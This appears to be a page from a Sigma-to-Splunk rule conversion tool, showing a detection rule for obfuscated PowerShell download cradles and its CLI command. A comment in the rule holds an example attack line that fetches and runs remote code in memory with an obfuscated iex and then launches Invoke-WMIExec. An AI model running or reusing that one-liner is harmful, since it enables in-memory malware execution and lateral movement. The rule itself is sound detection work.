Phoenix Studio
Convert indexed Sigma rules into analyst-ready detections.
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Indexed Rules
3,707
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Backends
17
Live from sigconverter.io
CLI Versions
10
Newest: 2.0.2
Translation Workspace
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Active Rule
Obfuscated PowerShell OneLiner Execution
Target Profile
Splunk
Splunk SPL & tstats data model queries
Format Mode
Default
Plain SPL queries
Conversion Output
Obfuscated PowerShell OneLiner Execution
Using Splunk · Default · sigma-cli 2.0.2
Translation controls
Adjust the rule on the left, then regenerate when you want a fresh backend-native query.
BackendSplunkFormatDefaultVersion2.0.2
title: Obfuscated PowerShell OneLiner Execution
id: 44e24481-6202-4c62-9127-5a0ae8e3fe3d
status: test
description: Detects the execution of a specific OneLiner to download and execute powershell modules in memory.
references:
- https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
- https://gist.github.com/mgeeky/3b11169ab77a7de354f4111aa2f0df38
author: '@Kostastsale, TheDFIRReport'
date: 2022-05-09
modified: 2025-04-16
tags:
- attack.defense-evasion
- attack.execution
- attack.t1059.001
- attack.t1562.001
logsource:
product: windows
category: process_creation
detection:
selection:
# Example: powershell -nop -noni -ep bypass -w h -c "$u=("http://127.0.0.1:1337/"|%%{(IRM $_)});&("".SubString.ToString()[67,72,64]-Join"")($u); Import-Module C:\Users\EXAMPLE\Invoke-WMIExec.ps1; Invoke-WMIExec"
Image|endswith: '\powershell.exe'
CommandLine|contains|all:
- 'http://127.0.0.1'
- '%{(IRM $_)}'
- 'Invoke'
condition: selection
falsepositives:
- Unknown
level: high
CLI command
Copy the exact command to reproduce this translation locally.
sigma convert --without-pipeline -t splunk -f default rules/windows/process_creation/proc_creation_win_powershell_download_cradle_obfuscated.yml